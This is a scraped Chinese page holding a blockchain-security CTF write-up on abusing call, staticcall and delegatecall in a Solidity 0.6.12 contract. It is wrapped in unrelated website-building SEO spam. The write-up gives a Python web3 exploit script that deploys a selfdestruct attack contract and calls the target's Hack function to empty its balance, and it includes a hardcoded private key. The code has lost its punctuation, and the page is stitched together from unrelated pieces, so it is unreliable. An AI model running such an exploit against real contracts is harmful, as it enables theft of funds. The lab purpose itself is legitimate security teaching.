当前位置: 首页 > news >正文

东莞服装网站建设个人主页免费

东莞服装网站建设,个人主页免费,高级服装定制,湖北网站建站系统哪家好区块链安全 文章目录 区块链安全Call函数簇滥用实战二实验目的实验环境实验原理实验内容实验步骤EXP利用 Call函数簇滥用实战二 实验目的 学会使用python3的web3模块 学会并区分以太坊call、staticcall、delegatecall三种函数调用的特点 找到合约漏洞进行分析并形成利用 实验…区块链安全 文章目录 区块链安全Call函数簇滥用实战二实验目的实验环境实验原理实验内容实验步骤EXP利用 Call函数簇滥用实战二 实验目的 学会使用python3的web3模块 学会并区分以太坊call、staticcall、delegatecall三种函数调用的特点 找到合约漏洞进行分析并形成利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 call调用最常用的调用方式调用后内置变量msg的值会修改为调用者执行环境为被调用者的运行环境 delegatecall调用调用后内置变量msg的值不会修改为调用者但执行环境为调用者的运行环境 staticcall调用调用之后不能改变合约状态否则交易会回滚 实验内容 合约中使用到了call、delegatecall、staticcall函数调用找到合约漏洞并形成利用把合约余额清空即可 使用python3的web3模块远程利用漏洞并获取flag 实验地址为nc ip 10006 实验步骤 获取合约地址和合约源代码 nc ip 10006连接到题目输入1获取部署合约的game account及token 打开http://ip输入上述分配的game account点击Request获取eth nc ip 10006连接到题目输入2获取部署合约的地址及new token nc ip 10006连接到题目输入4获取合约源代码或者在题目附件找到合约源代码 分析合约源代码漏洞 题目要求清空合约余额 先分析程序主要逻辑首先拿calldatastaticcall自己保证交易正常进行不会revert回滚其次拿calldatacall自己这个时候自己调用自己会执行delegatecall逻辑题目要求清空合约余额可以借助delegatecall直接destruct合约 所以设计一个攻击合约只需要满足staticcall的时候不改变合约状态delegatecall的时候执行selfdestruct即可由于是0.6.12版本可借助try catch实现。 EXP利用 用python编写自动化exp功能包括部署攻击合约得到攻击合约地址将其作为题目合约的hack函数参数进行调用即可 from web3 import Web3, HTTPProvider from solcx import compile_source,set_solc_version_pragma import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0xE7f096F94e7BCa204A673319510FB051E526a70E private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receiptset_solc_version_pragma(^0.6.12) with open(./attack.sol, r) as f:SRC_TEXT f.read() compiled_sol compile_source(SRC_TEXT) CONT_IF compiled_sol[stdin:Solver]txn generate_tx(8888, , CONT_IF[bin], 0) txn_receipt sign_and_send(txn) hack_address txn_receipt[contractAddress] print(hack_address ,hack_address)time.sleep(5)data Web3.keccak(textHack(address)).hex()[:10] data hack_address[2:].rjust(64, 0) # Hack(address) txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) print(sign_and_send(txn))执行exp nc ip 10006连接到题目输入3输入之前的new token获取flag
http://wiki.neutronadmin.com/news/177402/

相关文章:

  • 衡阳做网站优化做药品网站有哪些内容
  • 建站什么程序好淘宝运营公司哪家好
  • 做网站切图是什么意思怎么制作网站图片不显示
  • 深圳那家做APP网站的最好东莞网页制作与网站设计
  • 网站服务器备案查询免费域名网站
  • 免费1级做爰片在线网站wordpress访问速度突然好慢
  • 购物网站开发教程中文国家高新技术企业认定管理工作网
  • 大连网站开发价格北京网络公司建站
  • 网站 mssql 数据库网站建设工具有哪些品牌
  • 怎么做淘宝 天猫京东网店的网站展示网站建设价格
  • 北京上云网站建设公司2017三五互联做网站怎么样
  • 西宁做网站多少钱wordpress结婚模板
  • 网站建设网银开通动画设计考研
  • 手机创建网站教程承德网站建设制作
  • 垦利区建设局网站建设银行成都市第九支行 网站
  • 北京科技网站建设wordpress如何让页面显示一篇文章
  • 郑州网站设计汉狮黄骅贴吧二手房
  • 连锁酒店网站建设wordpress弹出式表单
  • 网站标题title为什么不能频繁的改如何在360网站网页上做笔记
  • 网站建设尺寸网站开发和嵌入式开发哪个
  • 长春网站网站推广公司设计站长统计app软件下载官网
  • 织梦cms做网站流程网页制作网站开发
  • 建站中企动力百度seo查询
  • 云羽网络做网站怎么样抖音网络营销推广方式
  • 网站内置多语言建设一个网站系统要多久
  • 织梦怎么关闭网站建设工程质量协会网站
  • 中国建设银行官企业网站wordpress 随机头像
  • 沭阳网站开发市场策划方案
  • wordpress 背景特效插件学好seo
  • 大连网站建设怎么样庆阳门户网